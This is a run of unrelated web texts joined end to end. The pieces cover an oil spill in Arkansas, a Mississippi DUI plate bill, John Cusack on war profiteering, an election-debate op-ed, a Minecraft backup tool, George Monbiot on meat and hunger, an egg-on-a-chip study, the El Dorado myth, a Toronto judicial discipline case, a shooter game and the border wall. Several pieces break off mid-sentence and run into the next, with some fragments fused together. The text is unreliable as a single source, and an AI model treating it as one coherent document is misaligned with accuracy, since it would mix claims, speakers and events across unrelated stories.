No matter how justified the American Guard may or may not be in claiming the moral high ground, Invictus’ supporters were quick to vindicate their statement that he was palling around with racists. Twenty-four hours after the original announcement, the comments were full of white supremacist memes and comments defending Invictus and decrying the American Guard as a “leftist” and “Cultural Marxist” enterprise. Invictus did not respond to multiple requests for comment.A manmade disaster was made even worse by nature Wednesday night, as a severe thunderstorm hit Mayflower, Arkansas spreading the Exxon Mobil oil spill to the yards of homes along the cove and the main body of Lake Conway. For nearly two weeks, Exxon has maintained that oil has not reached Lake Conway, despite clear evidence both from aerial video and on-the-ground guerrilla reporting that showed oil had spread throughout a cove and wetlands, which are connected through ground water and drainage culverts to the main body of the lake. Images captured Wednesday night should put any doubt to rest that the main body of Lake Conway is now contaminated with oil.
Citizen journalists, Jak and Lauren, reporting for Tar Sands Blockade, braved the severe weather Wednesday, which included hail, lighting and chance of tornados, to report on what was happening to the site of the oil spill.
Using the live video streaming service, UStream, Jak and Lauren broadcast from multiple locations, including the contaminated cove, Highway 89 that separates the cove and Lake Conway and the wetlands that were first documented in the now viral Tar Sands Blockade video
A couple pieces of important news were reported by the duo Wednesday night. Their footage is not currently available to embed, but I took screenshots of their live broadcast to show what they were witnessing. I'll embed the video when it becomes available.
Here is a shot of the cove during heavy rains, taken from the yard of a resident that granted them permission to report from their property.
Here is an unfortunately blurry shot of that residents yard beginning to flood as rain fills the contaminated cove.
Jak reported that the smell of oil at this site had become stronger during the storm, suggesting the rain and wind had stirred up the spilled oil. According to residents, during heavy rains the cove had been known to flood their yards and even reach some of the homes, which was a huge concern with those cove waters heavily contaminated with oil.
As they shot video from this yard, a man was seen running along Highway 89 to the pumps and from what I could gather turned them on at that time.
Here are two pumps on the cove-side of Highway 89 that were turned on during the storm.
And here is the water being pumped out of the contaminated cove into the main body of Lake Conway. As you can see, there is one string of boom in the path of the water, but the flow pressure is so strong it is blowing right under and over the boom. Is this really supposed to be stopping the oil?
When the oil spill first occurred, much was made of the rapid response that included the blockage of drainage culverts that connected the cove to the main body of Lake Conway. Earthen dikes, gravel and plywood were used to keep the water in the cove from spreading to the lake. However, even during the first few days following the spill, due to rain, water was pumped from the contaminated cove to the main body of Lake Conway to keep the cove from flooding homes or the highway.
The reporting done by these concerned citizens shows just how big of a predicament Exxon is in with their attempts to limit the spread of oil from the cove to the main body of the lake. It also should serve as proof that anyone claiming to say Lake Conway is not contaminated is either unaware of what happened here Wednesday night or is being intentionally creative with language to mislead the public about the damage this oil spill has caused.
It is worth-noting that this live, on-the-scene reporting of what this storm is doing to the oil spill only stopped because these reporters ran out of battery on their cell phone and a backup battery, which had been purchased with donations from viewers, was damaged during the rain. It was disappointing to lose the live feed right as they had arrived at the wetlands. I was left wondering what I was missing and what would happen if the storm had gotten worse.
I was also left wondering, where was the local and state media? Where are the professionals? Why is the only reporting from the scene of this oil spill during weather that threatens to severely contaminate the main body of Lake Conway being done by a couple volunteer journalists riding in the back of a pick up truck in the rain using an iPhone with limited battery?
Has Exxon's campaign of censorship and intimidation put such a fear in the media that they wouldn't risk trying to gain access during the storm? Is it just the weather that deterred them from venturing out in the rain |
taffeta. The bodice would take a lot of work. Heavy embroidered lace over sheer fabric. You can check my tumblr for real life shots that inspired the Jane look. And finally, of course, a quirky somewhat Marie-Antoinette hat--------------------------------× MS lawmaker proposes special car tags for convicted DUI offenders
JACKSON, Miss. — A lawmaker from Mississippi wants to pass a bill forcing the state’s repeat DUI offenders to have special automobile tags.
Representative Gary Chism of Columbus is currently working on the bill that would require anyone who has been convicted of their second DUI to have a special tag on their car.
“If you ain’t learned your lesson after the first one, then we need to step in and do something to get your attention,” Chism is reported as saying by The Clarion-Ledger. “Maybe if all your neighbors know, and the Highway Patrol know, they won’t be as likely to get out there weaving on the roads again.”
Similar laws are already on the books in Ohio, Minnesota, Oregon and Iowa.
The main problem Chism is facing now is figuring out how to tighten down on the law to prevent DUI offenders from taking advantage of any loopholes.
Opponents of similar bills argued it unnecessarily humiliates misdemeanor offenders, sometimes causes them to lose their jobs, and sets a “trend of over-criminalization.”
Under current Mississippi law, first-time offenders can have their license suspended for 90 days, or be forced to install an interlock device on their car.John Cusack movie takes on war profiteers David Edwards and Chris Tackett
Published: Saturday March 29, 2008
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Print This Email This John Cusack was on HBO's Real Time with Bill Maher and spoke about his upcoming film, War. Inc., which according to Cusack focuses on the military-industrial complex. The film, says Cusack, differs from other films inspired by the wars in Iraq and Afghanistan because, it "has a much more absurdist take on [war]." Cusack added, "some things are so vicious if you didn't look at them through a different lens you couldn't get out of bed. And certainly the war profiteering, immorality and illegality of this disastrous, free-market Utopian enterprise out there is certainly well-documented." While explaining that the film shares similar themes as those found in Naomi Klein's book, The Shock Doctrine, Cusack said, "the very core things that make up our government like wars or interrogation or border patrol, jailing, any of those types of things that you would think would be sacred things that would happen with the state are now being turned into for-profit enterprises. And if you want all these things to be, if you want corporate ethics to be our national interest, then you have the situation we're in now. But right now, when you think that we've out sourced everything to interrogation, which means torture is a cost-plus enterprise, I think you can see a complete spiritual bankruptcy to this whole neo-con movement. It's a nightmare beyond anything you can really imagine." Maher asked if these issues were just a result of a neo-conservative movement and Bush administration or evidence of a "rot in America itself that is a lot deeper." Cusack responded, "Yeah, I do think the issue goes deeper, a lot deeper." Adding later, "Some of these truths are so horrible you don't want to think about that, but it's just -- I mean the gig's up. If guys who are statesmen on CNN are also sitting on the board and are shareholders in some of the most profitable defense contractors in the world and they publicly make the case to go to war, got to war, then create a new market with the war, come back and speak evangelically about free markets that aren't free, these aren't particularly subtle fact and the stock prices jump 145% and their companies are awarded $2.3 billion contract. After a while you have to expose and shame and indict and hopefully convict the participants in this illegal immoral ideology." The full interview can be seen in the video below.“Lead from behind” may be a sound bite the Obama administration regrets, but debating from behind is clearly something President Obama is very good at. He got the first debate’s wakeup call while Mitt Romney let the encounter in Denver mislead him into confusing petulance with strength.
For Obama’s supporters, the fact that the president played offense, had a strategy and seemed happy in his work was reason enough for elation. But the most electorally significant performance was Romney’s. Under pressure this time, the former Massachusetts governor displayed his least attractive sides. He engaged in pointless on-stage litigation of the debate rules. He repeatedly demonstrated his disrespect for both the president and Candy Crowley, the moderator. And Romney was just plain querulous when anyone dared question him about the gaping holes in his tax and budget plans.
Any high school debate coach would tell a student that declaring, “Believe me because I said so,” is not an argument. Yet Romney confused biography with specificity and boasting with answering a straightforward inquiry. “Well, of course, they add up,” Romney insisted of his budget numbers. “I — I was — I was someone who ran businesses for 25 years, and balanced the budget. I ran the Olympics and balanced the budget.” Romney was saying: Trust me because I’m an important guy who has done important stuff. He gave his listeners no basis on which to verify the trust he demanded.
Romney’s stonewalling was so obvious that it opened the way for one of Obama’s most effective lines of the evening: “If somebody came to you, Governor, with a plan that said, here, I want to spend $7 or $8 trillion, and then we’re going to pay for it, but we can’t tell you until maybe after the election how we’re going to do it, you wouldn’t have taken such a sketchy deal. And neither should you, the American people, because the math doesn’t add up.” Obama sought to make that point in the last debate. This time he had a metaphor and a story to go with the arithmetic.
Romney also covertly disclosed that he, like George W. Bush before him, has every intention of cutting taxes on the rich. Like Bush, he used stealthy language to try to achieve a great fiscal coverup.
Here was Romney on Tuesday: “I will not, under any circumstances, reduce the share that’s being paid by the highest-income taxpayers.” Here was Bush in 2000: “After my plan is in place, the wealthiest Americans will pay a higher percentage of taxes [than] they do today.”
This really matters: Romney intends, as Bush did, to push for steep tax cuts for the wealthy. His only pledge is that he’ll keep the share of the total tax take paid by the wealthy unchanged, presumably by reducing other taxes too. And this is supposed to lead to lower deficits? How?
The most instructive contrast between Debate I and Debate II was the extent to which Romney’s ideas crumbled at the slightest contact with challenge. Romney and Paul Ryan are erecting a Potemkin village designed to survive only until the polls close on Nov. 6. They cannot say directly that they really believe in slashing taxes on the rich and backing away from so much of what government does because they know that neither idea will sell. So they offer soothing language to the middle class, photo ops at homeless programs to convey compassion and a steady stream of attacks on Obama, aimed at shifting all the attention his way.
For his part, Obama looks strong when he calmly and methodically confronts the exceptionally large philosophical and practical differences that now divide the parties. He looks weak when he fuzzes up those differences in the hope of avoiding conflict. The fight is often asymmetric because Obama speaks for balance — between tax increases and spending cuts to reduce the deficit, between a thriving market and an active government — while today’s conservatives have no interest in balance.
In the first debate, Obama let Romney back into the race by failing to shake his opponent’s self-presentation. But Romney also put himself into contention by pretending to be a moderate, shelving his plutocratic side and hiding his party’s long-term objectives.
In the second debate, the disguise fell. Romney revealed more of himself than he wanted to and asked voters to endorse a radical tax-cutting program without providing them the details that matter. Sketchy is one word for this. Deceptive is another.
ejdionne@washpost.comYou can download the application by clicking here
Dropbox Support
Overview
It doesn't really have many features to be honest, it allows you to specify what you want to backup, and the option to delete your super-huge TGA files to save some space.
Because I'm a nice guy, I'd never consider charging for this, and it's also open source so if you want, jump on over to the BitBucket Repo
Today I wasn't really doing anything, and had seen that someone on Twitter was looking for the easier way to backup their Minecraft Files and Folders. So I decided to do something about it. Out came Visual Studio and from that came "Minecraft Backup". Although not named awesomely, it does exactly what it says on the tin. After a few hours of coding, and testing and then coding again. I think it's finally done.It doesn't really have many features to be honest, it allows you to specify what you want to backup, and the option to delete your super-huge TGA files to save some space.Because I'm a nice guy, I'd never consider charging for this, and it's also open source so if you want, jump on over to theand you can download the source. I'd love your comments, thoughts and possibly feature integration. I'm happy to continue developing it and adding more features to it, I just can't really think of anything else at the moment.
Read me / Features
You can download the application by clicking here
Change log
Update (14/07/2011):
Changes to the Interface
Added the ability to add/remove the resources from the backup
Restructured the file names to reflect what is in the backup.
Update (15/07/2011):
Added Restore/Rollback Feature.
Fixed a few spelling mistakes
Update (07/08/2011):
Added lastlogin and options.txt files to backup.
Update (07/08/2011):
Automated backups at a timed interval.
Changes Tab Order.
Renamed some Tabs.
Update (29/08/2011):
Dropbox support added.
Update (29/08/2011):
Fixed Dropbox message with automatic backups.
Disables Dropbox option if it cannot find the Dropbox Folder.
Virus Reports:
You can download the application by clicking hereThe Pleasures of the Flesh
If you care about hunger, eat less meat.
By George Monbiot. Published in the Guardian 15th April 2008
Never mind the economic crisis. Focus for a moment on a more urgent threat: the great food recession which is sweeping the world faster than the credit crunch.
You have probably seen the figures by now: the price of rice has risen by three-quarters in the past year, that of wheat by 130%(1). There are food crises in 37 countries. One hundred million people, according to the World Bank, could be pushed into deeper poverty by the high prices(2). But I bet you have missed the most telling statistic. At 2.1bn tonnes, last year’s global grain harvest broke all records(3). It beat the previous year’s by almost 5%. The crisis, in other words, has begun before world food supplies are hit by climate change. If hunger can strike now, what will happen if harvests decline?
There is plenty of food. It is just not reaching human stomachs. Of the 2.13bn tonnes likely to be consumed this year, only 1.01bn, according to the UN’s Food and Agriculture Organisation (FAO), will feed people(4).
I am sorely tempted to write another column about biofuels. From this morning all sellers of transport fuel in the United Kingdom will be obliged to mix it with ethanol or biodiesel made from crops. The World Bank points out that “the grain required to fill the tank of a sports utility vehicle with ethanol … could feed one person for a year”(5). Last year global stockpiles of cereals declined by around 53m tonnes(6); this gives you a rough idea of the size of the hunger gap. The production of biofuels this year will consume almost 100m tonnes(7), which suggests that they are directly responsible for the current crisis. In the Guardian yesterday the transport secretary Ruth Kelly promised that “if we need to adjust policy in the light of new evidence, we will.”(8) What new evidence does she require? In the midst of a global humanitarian crisis, we have just become legally obliged to use food as fuel. It is a crime against humanity in which every driver in this country has been forced to participate.
But I have been saying this for four years and I am boring myself. Of course we must demand that our governments scrap the rules which turn grain into the fastest food of all. But there is a bigger reason for global hunger, which is attracting less attention only because it has been there for longer. While 100m tonnes of food will be diverted this year to feed cars, 760m tonnes will be snatched from the mouths of humans to feed animals(9). This could cover the global food deficit 14 times. If you care about hunger, eat less meat.
While meat consumption is booming in Asia and Latin America, in the United Kingdom it has scarcely changed since the government started gathering data in 1974. At just over 1kg per person per week(10), it’s still about 40% above the global average(11), though less than half the amount consumed in the United States(12). We eat less beef and more chicken than we did 30 years ago, which means a smaller total impact. Beef cattle eat about 8kg of grain or meal for every kilogramme of flesh they produce; a kilogramme of chicken needs just 2kg of feed. Even so, our consumption rate is plainly unsustainable.
In his magazine The Land, Simon Fairlie has updated the figures produced 30 years ago in Kenneth Mellanby’s book Can Britain Feed Itself? Fairlie found that a vegan diet grown by means of conventional agriculture would require only 3m hectares of arable land (around half the current total)(13). Even if we reduced our consumption of meat by half, a mixed farming system would need 4.4m hectares of arable fields and 6.4 million hectares of pasture. A vegan Britain could make a massive contribution to global food stocks.
But I cannot advocate a diet I am incapable of following. I tried it for about 18 months, lost two stone, went as white as bone and felt that I was losing my mind. I know a few healthy-looking vegans and I admire them immensely. But after almost every talk I give, I am pestered by swarms of vegans demanding that I adopt their lifestyle. I cannot help noticing that in most cases their skin has turned a fascinating pearl grey.
What level of meat-eating would be sustainable? One approach is to work out how great a cut would be needed to accommodate the growth in human numbers. The UN expects the population to rise to 9bn by 2050. These extra people will require another 325m tonnes of grain(14). Let us assume, perhaps generously, that politicians like Ms Kelly are able to “adjust policy in the light of new evidence” and stop turning food into fuel. Let us pretend that improvements in plant breeding can keep pace with the deficits caused by climate change. We would need to find an extra 225m tonnes of grain. This leaves 531m tonnes for livestock production, which suggests a sustainable consumption level for meat and milk some 30% below the current world rate. This means 420g of meat per person per week, or about 40% of the UK’s average consumption.
This estimate is complicated by several factors. If we eat less meat we must eat more plant protein, which means taking more land away from animals. On the other hand, some livestock is raised on pasture, so it doesn’t contribute to the grain deficit. Simon Fairlie estimates that if animals were kept only on land that’s unsuitable for arable farming, and given scraps and waste from food processing, the world could produce between a third and two thirds of its current milk and meat supply(15). But this system then runs into a different problem. The FAO calculates that animal keeping is responsible for 18% of greenhouse gas emissions. The environmental impacts are especially grave in places where livestock graze freely(16). The only reasonable answer to the question of how much meat we should eat is as little as possible. Let’s reserve it – as most societies have done until recently – for special occasions.
For both environmental and humanitarian reasons, beef is out. Pigs and chickens feed more efficiently, but unless they are free range you encounter another ethical issue: the monstrous conditions in which they are kept. I would like to encourage people to start eating tilapia instead of meat. It’s a freshwater fish which can be raised entirely on vegetable matter and has the best conversion efficiency – about 1.6kg of feed for 1kg of meat – of any farmed animal(17). Until meat can be grown in flasks, this is about as close as we are likely to come to sustainable flesh-eating.
Re-reading this article, I see that there is something surreal about it. While half the world wonders whether it will eat at all, I am pondering which of our endless choices we should take. Here the price of food barely registers. Our shops are better stocked than ever before. We perceive the global food crisis dimly, if at all. It is hard to understand how two such different food economies could occupy the same planet, until you realise that they feed off each other.
www.monbiot.com
References:
1. Eg http://news.bbc.co.uk/1/hi/world/7284196.stm
2. World Bank, 14th April 2008. Food Price Crisis Imperils 100 Million in Poor Countries, Zoellick Says. Press release. http://web.worldbank.org/WBSITE/EXTERNAL/NEWS/0,,contentMDK:21729143~menuPK:51062075~pagePK:34370~piPK:34424~theSitePK:4607,00.html
3. Food and Agriculture Organisation, April 2008. Crop Prospects and Food Situation.
http://www.fao.org/docrep/010/ai465e/ai465e01.htm
4. ibid.
5. World Bank, 2008. Biofuels: The Promise and the Risks. http://econ.worldbank.org/WBSITE/EXTERNAL/EXTDEC/EXTRESEARCH/EXTWDRS/EXTWDR2008/0,,contentMDK:21501336~pagePK:64167689~piPK:64167673~theSitePK:2795143,00.html
6. Gerrit Buntrock, 6th December 2007. Cheap no more. The Economist.
7. Food and Agriculture Organisation, April 2008, ibid.
8. Ruth Kelly, 14th April 2008. Biofuels: a blueprint for the future? The Guardian.
9. Food and Agriculture Organisation, April 2008, ibid.
10. The British government gives a total meat purchase figure of 1042g/person/week for 2006.
http://statistics.defra.gov.uk/esg/publications/efs/datasets/UKHHcons.xls
11. There’s a discussion of global average figures here: http://envirostats.info/2007/09/18/0406/
12. See Food and Agriculture Organisation, 2006. Livestock’s Long Shadow. Figure 1.4, p9.
ftp://ftp.fao.org/docrep/fao/010/a0701e/a0701e.pdf
13. Simon Fairlie, Winter 2007-8. Can Britain Feed Itself? The Land.
14. Based on the current population of 6.8bn consuming 1006mt of grain.
15. Simon Fairlie, forthcoming. Default livestock farming. The Land, Summer 2008.
16. Food and Agriculture Organisation, 2006. Livestock’s Long Shadow.
ftp://ftp.fao.org/docrep/fao/010/a0701e/a0701e.pdf
17. The FAO (ibid) gives 1.6-1.8. On April 12th, I spoke to Francis Murray of the Institute of Aquaculture, University of Stirling, who suggested 1.5.The process of developing new medications is long and arduous. Testing with animals takes a considerable amount of time and resources, and there’s still no guarantee that what works in a mouse will work in a human. Lab-on-a-chip technology expedites the process by mimicking biological processes, with only a fraction of the resources needed in traditional approaches. This led to the development of various organs-on-a-chip. The same approach has now been applied to developing embryos. A new paper published in Science China Technological Sciences by researchers from Tsinghua University in Beijing describes new egg-on-a-chip technology that uses a soft, transparent eggshell to get unprecedented access to developing embryos by offering more life-supporting functions than have been available in previous on-a-chip devices.
Previously, developmental biologists who wished to see developing eggs relied on ‘windowing’ the shell. Essentially, a portion of the eggshell is very carefully cut out, allowing scientists to look inside. It is taped back into place, which protects the developing embryo, and allows for access later in development. Not only does this process run the risk of damaging or potentially contaminating the embryo, but it gives a very narrow view of the action. Attempting to culture embryos in other ways has been unsuccessful, as they have been unable to keep the embryo alive.
This new system offers a considerable advantage over older methods. The eggshell is made out of a biomaterial called PDMS (polydimethylsiloxane), which is transparent and has elastic properties. The 360-degree transparency of the shell will not only allow researchers to see into the eggs, but will also allow in vivo fluorescent imaging, which provides a considerable amount of information about genetic function. Additionally, it will be much easier to introduce other materials into the embryo during development.
Just as with other lab-on-a-chip technology, this egg-on-a-chip allows for experimentation with far fewer resources, making research much more efficient. The researchers have been conducting experiments with these eggshells for two years, and have been able to sustain the avian embryos for 17.5 days; fairly close to the total 21 day gestation.
“With both high optical transparency and engineering subtlety fully integrated together, the present method not only provides an ideal transparent imaging platform for studying functional embryo development including life mystery, but also promises a future strategy for “lab-on-an-egg” technology which may be important in a wide variety of either fundamental or practical areas,” the authors write in the paper.
Check out the view provided by the transparent eggshell right here:Given the mightiness of the myth, it was a tiny piece of work: less than eight inches long, four inches wide and four inches high. It twinkled under spotlights in a glass case in a room of its own on the fourth floor of the museum. It was a representation, in gold and copper, of a raft made of tree trunks or reed, bent and tied at the ends to form a flat oval.
Ten or so figures sat around the edge of the raft, two of them bearing banners. At the centre was a taller figure, a chieftain, clearly, adorned with headdress, earrings and nose ring. He was El Dorado – the gilded one.
No story about Latin America is as potent as that of the place of untold riches; a place that generations of fortune-hunters have searched for in vain. Colombia has its own version. The Muisca people who occupied the eastern range of the Andes at the time of the Spaniards' arrival were farmers, who lived in constant fear of drought. To them, all lakes were sacred, all water spirits to be propitiated. Reports of their harvest ceremonies consistently say that a leader was covered in gold dust, and that gold and precious stones were thrown into the water.
That ritual is depicted in what has become known as "the Muisca raft", centre piece of the Gold Museum in the Colombian capital, Bogotá. The museum, one of the best in Latin America, shows how gold was mined or extracted, worked, used and worn, and offered up for return to the earth.
Its collection of artefacts includes crowns, masks, breastplates and pendants as well as images of birds and animals. Though the most intricate pieces were reserved for the upper classes, gold in pre-Columbian societies was available to all, as a Spanish priest, Friar Pedro Simón, observed in 1623: "No Indian woman was without… jewels, earrings, necklaces, crowns… All the girls had four or six gold jewels around their neck."
Watching me scribble this down, Fabio, my guide, said: "Gold was what they came for. They did whatever they had to do to get it." He meant the conquistadors – but gold lust did not end with them.
Guerrillas as well as gangs in modern-day Colombia have moved into mining because gold is soaring in price and is easier to trade in than cocaine. In river basins in the province of Antioquia forests are being torn up and waters polluted with the liquid mercury that is used to separate gold from sediment. The result, according to a UN-commissioned engineer quoted by The New York Times, is that Colombia is "the world's largest per capita mercury polluter from artisanal gold mining".
Were Lake Guatavita not in a state park, the gold-diggers might be busy there too. The lake, less than an hour's drive into the hills north-east of Bogotá, was one where the Muisca made devotional offerings. It was drained not only during Spanish rule but as recently as 1912 by a British engineer, Harley Knowles. He claimed to have found gold and even Chinese jade, though in nothing like the quantities suggested by the myth of El Dorado.
Looking down on the lake, from the rim of a crater punched as neatly as if by a meteorite, Fabio and I could see a scar running from top to bottom. Otherwise, the slopes were thickly wooded, much as they would have been at the time of the Muisca's ceremonies.
We looked to the east, from which, it is said, the elders would have set out on their raft as the sun came up, inching their way towards the centre where, at noon, they would offer up gold and emeralds. Then their leader, covered in oil and dusted with gold, would plunge into the water.
After a quiet period at the centre of the lake, the raft would set off again, accompanied by chanting, dancing and singing, arriving, eventually, at the western shore at sunset. It seemed a hell of a long time, I said to Fabio, to spend crossing a lake barely 1,000 feet in diameter.
"Yes," he said with a smile. "In order to spend a day, they had to be very creative." Almost as creative as the myth-makers of El Dorado.
Colombia essentialsFour years ago, a long-time Toronto justice of the peace was slapped with a seven-day suspension without pay for interfering with a health inspection of a close friend’s restaurant. Now, Tom Foulds finds himself once again in the crosshairs of the Justices of the Peace Review Council, this time facing allegations of intervening in an assault case where the complainant was his friend-turned-partner.
Tom Foulds, a justice of the peace at Old City Hall, isn't currently presiding over cases, according to a court spokesperson. ( Chris So / Toronto Star file photo )
The public discipline hearing is set for October, but Foulds, who presides at Old City Hall, is looking to put a halt to those proceedings. He’s filed an application for judicial review in Divisional Court, where he’s asking the judges to quash the decision of the council’s complaints committee to send his case to a discipline hearing. He also wants the court to order that a new complaints committee reconsider the complaint against him. His grievances with the complaints committee are numerous.
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“(The committee) exceeded its jurisdiction by making findings of fact and determinations of judicial misconduct, and did so prior to requesting a response from the applicant,” Foulds, who is representing himself in Divisional Court, argues in a factum recently filed in court. “The complaint committee failed to fully assess the evidence or consider the applicant’s response in a meaningful way.” Foulds, appointed in 1999, declined to comment to the Star through a court spokeswoman, who said Foulds is not currently presiding over cases. Foulds also argues there is an appearance of bias on the part of the committee, saying two of its members previously sat on a different complaints committee that investigated a complaint against him, which was ultimately dismissed. Foulds alleged that the previous committee did not follow certain mandatory procedures in its investigation. A council spokeswoman said the oversight body will argue that Foulds’ judicial review application should be quashed because it is premature.
After conducting an investigation, which included interviews with a number of witnesses and hiring an external lawyer, the complaints committee decided to send Foulds’ case to discipline in 2016, ruling that his actions could be perceived “as an attempt to abuse the office of justice of the peace.” The allegations contained in the complaints committee decision, outlined in this story, have not yet been tested before a discipline panel.
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The complaint against Foulds dates back to 2014, when Mr. A was charged with assaulting Ms. X. Neither of their names are included in the council’s notice of hearing. Mr. A, whose charges were eventually stayed by the Crown, complained to the review council that Foulds had intervened in his case because Ms. X was Foulds’ partner. Foulds acknowledged in a response to the complaints committee that he “erred” in his approach to the case, but “vigorously” disputes much of the complaint against him. The committee said there’s evidence to support the allegation that Foulds signed the information charging Mr. A with assault, without informing the police officer that he was involved with Ms. X and without audio-recording the officer’s attendance before him. Foulds disputes that every routine attendance must be recorded. He admits in his factum to “mishandling a legal process” by allowing the information to be sworn before him, but that he viewed it as “a routine ministerial procedure, and he was simply a friend of (Ms. X) at that time.” The JP then went to the Crown attorney’s office to talk about the case, but only near the end of his conversation with Crown attorney Michael Callaghan did he say that he knew the complainant and that the case should not be scheduled in front of him, according to the complaints committee. “The committee notes that Mr. Callaghan’s perception was that His Worship was vague with respect to how he knew the complainant,” says the committee. “The evidence indicates that as he was leaving, he asked, ‘Oh, by the way, do you think it’s a problem that the information was sworn in front of me?’” The committee said the Crown then had a new information sworn before a different JP. Callaghan, who became widely known for prosecuting ex-radio host Jian Ghomeshi on sexual assault charges last year, declined to comment to the Star. Foulds says in his factum that he went to the Crown’s office to address the fact that the information was sworn before him, and that by that time, “the nature of (his) relationship with (Ms. X) had progressed beyond friendship.” The committee said there’s evidence that Foulds reached out to Callaghan several other times, including to ask for an update on the case and seeking legal advice, but that Callaghan found the encounters inappropriate and declined to provide any information. In his factum, Foulds also acknowledged his “mistake” in signing a subpoena to have Ms. X attend court and then discussing whether he could be present when she was served. “(Foulds) provided the context in which he made these decisions, regarding the desperate state of (Ms. X’s) mental health, and his concern about protecting her from self-harm,” he said in his factum. He argued he never sought to interfere in the case or direct Crown attorneys on what to do. “The evidence shows that His Worship did not distance himself from the (Mr. A) case and instead actively inserted himself into the criminal process,” said the complaints committee. “Further, the evidence suggests that His Worship’s involvement in the criminal case was calculated and deceptive. Specifically, His Worship only shared limited information at different stages to make it appear as though he was being up front when, in fact, he was not being completely honest or forthcoming.” The committee said the Crown had to deal with a number of disclosure requests from Mr. A’s lawyer, who wanted Foulds’ personal emails in order “to get to the true story of” whether there was indeed a personal relationship between Foulds and Ms. X. One Crown told the committee that Foulds was a “hindrance to the carriage of the case,” while Callaghan said that “for a very simple case, this became very complicated.” The complaints committee said the evidence suggests that the costs of Mr. A’s defence “escalated and the Crown’s resources were overtaxed directly as a result of His Worship’s involvement in the proceedings.”Mothergunship is a rush of unconnected words mashed together. Mother? Gun? Ship? The game this word sandwich belongs to follows suit by smashing genres together with a similar reckless abandon. It sees the bullet hell shooter and FPS combine in an unholy hybrid that actually works rather well. Lead developer Joe Mirabello proved that when he made Tower of Guns, an experiment that he expected to sell a couple of thousand copies; in fact, it was played by a couple of million.
Mothergunship is the more ambitious, more polished follow-up, assembled alongside the team that ported Tower of Guns to consoles, Grip Digital. It’s a bold melding of strange design and quietly clever technology – ideas you’d never guess at unless they were pointed out to you.
Read more: the finest indie games on PC.
Hell goes first-person
To make the screen-filling stress of the top-down bullet hell genre work in a first-person perspective, Terrible Posture Games and Grip Digital have had to face down some of the same issues the Mirror’s Edge team must have encountered.
“It’s very similar to the problems you face bringing platforming to first-person,” Mirabello explains. “It’s not always the smoothest of combinations, but if you manage to make it so that the player is forgiven from making mistakes, it can be totally doable.”
So the Mothergunship team have learned how to be forgiving through the medium of videogames. Firstly, they programmed their bullets to move fairly slowly. They might let fly in their thousands, but at a moderate pace, the overwhelming odds become manageable. Secondly, they built a movement system that allows you to move vertically with ease.
“You don’t want the player to just be strafing left to right,” Mirabello says. “You want them to feel like they can strafe up.”
So say goodbye to realistic jumps. In Mothergunship, you can chain three hops from the off – and potentially hundreds by the end of the game. What’s more, its levels are filled with plenty of boosts, jump pads, and other silly ways to get you airborne. Suddenly, you have a lot more options when trying to escape from hairy situations.
“Strafing becomes three-dimensional, rather than just a lateral thing,” Mirabello notes.
The third trick, and the strangest one, is that not all of the bullets in Mothergunship are headed straight for you. In fact, the majority are programmed to harry but not necessarily hit – “a support crew along for the ride.”
“It sounds really weird, but if you don’t aim at the player you create what feels like walls of bullets,” Mirabello expands. “Those walls add to the stress factor. If you think about it, in a top-down bullet hell game, that’s the case – they don’t actually aim at you. It creates a lateral pattern that you can negotiate by jumping around.”
The bullets you don’t see
In a traditional bullet hell game – like Ikaruga, the Dante’s Inferno of the genre – you’re given all the visual information about the battlefield there is. From your perspective on high, planning and reacting are as easy as glancing at the screen. In first-person, by comparison, you’re shut off – granted just a small window into what’s going on.
“You have to give the player a lot of tells about when things are coming into close proximity,” Mirabello says. “You don’t have situational awareness that is perfect.”
Mothergunship employs a variety of cues to help. 3D sound and the UI act in tandem as a warning system for what’s going on behind you. And, crucially, the game gives you plenty of health so you can afford to take a few hits – enough to give you an idea of where you’re being shot from.
Really, this is how we’ve been trained to think in first-person. How often have you only noticed an FPS enemy because they’ve peppered you with machine gun fire, flagged up by a bright red directional indicator?
“If you have more health, you can use that health to gather information while you’re playing,” Mirabello concludes.
Modular madness
One of Mothergunship’s key draws is its modular weapon crafting system. They’re a frightening thing to build, apparently: a way of developers handing over an uncomfortable amount of control to players.
“This is something I’ve had to get my team to rally around,” Mirabello says. “You, as a designer, have to be ok with not having authority over what the player experiences. When you create any kind of modular system like that you’re creating a sandbox.”
It’s not so tricky when it’s a matter of scopes, silencers, and stocks – but Mothergunship’s upgrades are more absurd. We’re talking flamethrowers, strapped onto rockets, perched atop chainguns.
“We’re treating this game more like a first-person Contra,” Mirabello explains, “and making the player feel empowered to do whatever they want with that system was the heart of it.”
The performance issues that come with a ten-bar |
have been any number of articles exploring this admittedly weird part of the United States. In August, a writer for the Rio Grande Guardian described swapping houses with a neighbor to get a sense of what life on the other side of the wall was like. In 2011, Liz Goodwin of Yahoo News covered Texans who lived on the south side of the wall, including some in Brownsville. “Technically, we’re in the United States,” one homeowner told Goodwin — though he noted that U.S. Border Patrol seemed to focus on defending the wall, not the actual border.
The number of people living in that gray area is hard to establish. Census tract data doesn’t break down that finely, and, for the most part, the area between the wall and the border is uninhabited because it’s a flood plain, as mentioned above.
To build the wall, the federal government would need to exercise eminent domain over a lot of territory owned by Americans. While Texas’s attorney general is perfectly comfortable with allowing the government to seize private land for its construction, some landowners are likely to disagree. (Particularly given that the border region is generally pretty Democratic.) Building the wall in Mexico would certainly avoid irritating those landowners.
It would, however, irritate Mexico.
Trump’s long-promised pledge to have the Mexican government pay for the wall was never realistic, and, as president, he has offered no plan to make that happen. It seems perhaps more unlikely that he will persuade a foreign nation to allow the United States to construct on its property, particularly given that the point of the wall is, among other things, to block the movement of people from that nation. Trump could theoretically get Mexico to “pay” for the wall by cutting off aid and funding to the country. But there’s essentially no way he could get Mexico to give up its territory.
Zinke’s overall point is correct: Building the wall involves balancing a lot of concerns and problems. How do you build in the mountains? Where do you run through environmentally sensitive areas? And how do you deal with the river? In the past, the river has been dealt with by isolating some small group of Americans on the other side of the barrier. In the future, it’s almost certain that the same compromise will be reached.
Read more:
In fight with Trump, Mexico has plenty of ways to punch back
Trump supporter thought president would only deport ‘bad hombres.’ Instead, her husband is being deported.There is a fine line between cautiousness, fearfulness and evenness. And there was a time when Seager's evenness was even seen as weakness. When he was a hotshot high school prospect and scouts came to North Carolina to watch him play, Seager heard the same criticism over and over: He needed to ramp up his "pace and care," show more excitement, be more animated. His production on the field was unassailable; he hit.519 with 10 home runs and 37 RBIs his senior year. But he didn't exude passion. "It wasn't like I was just standing there," he says. "It was frustrating because I do care. My teammates know I'm trying."
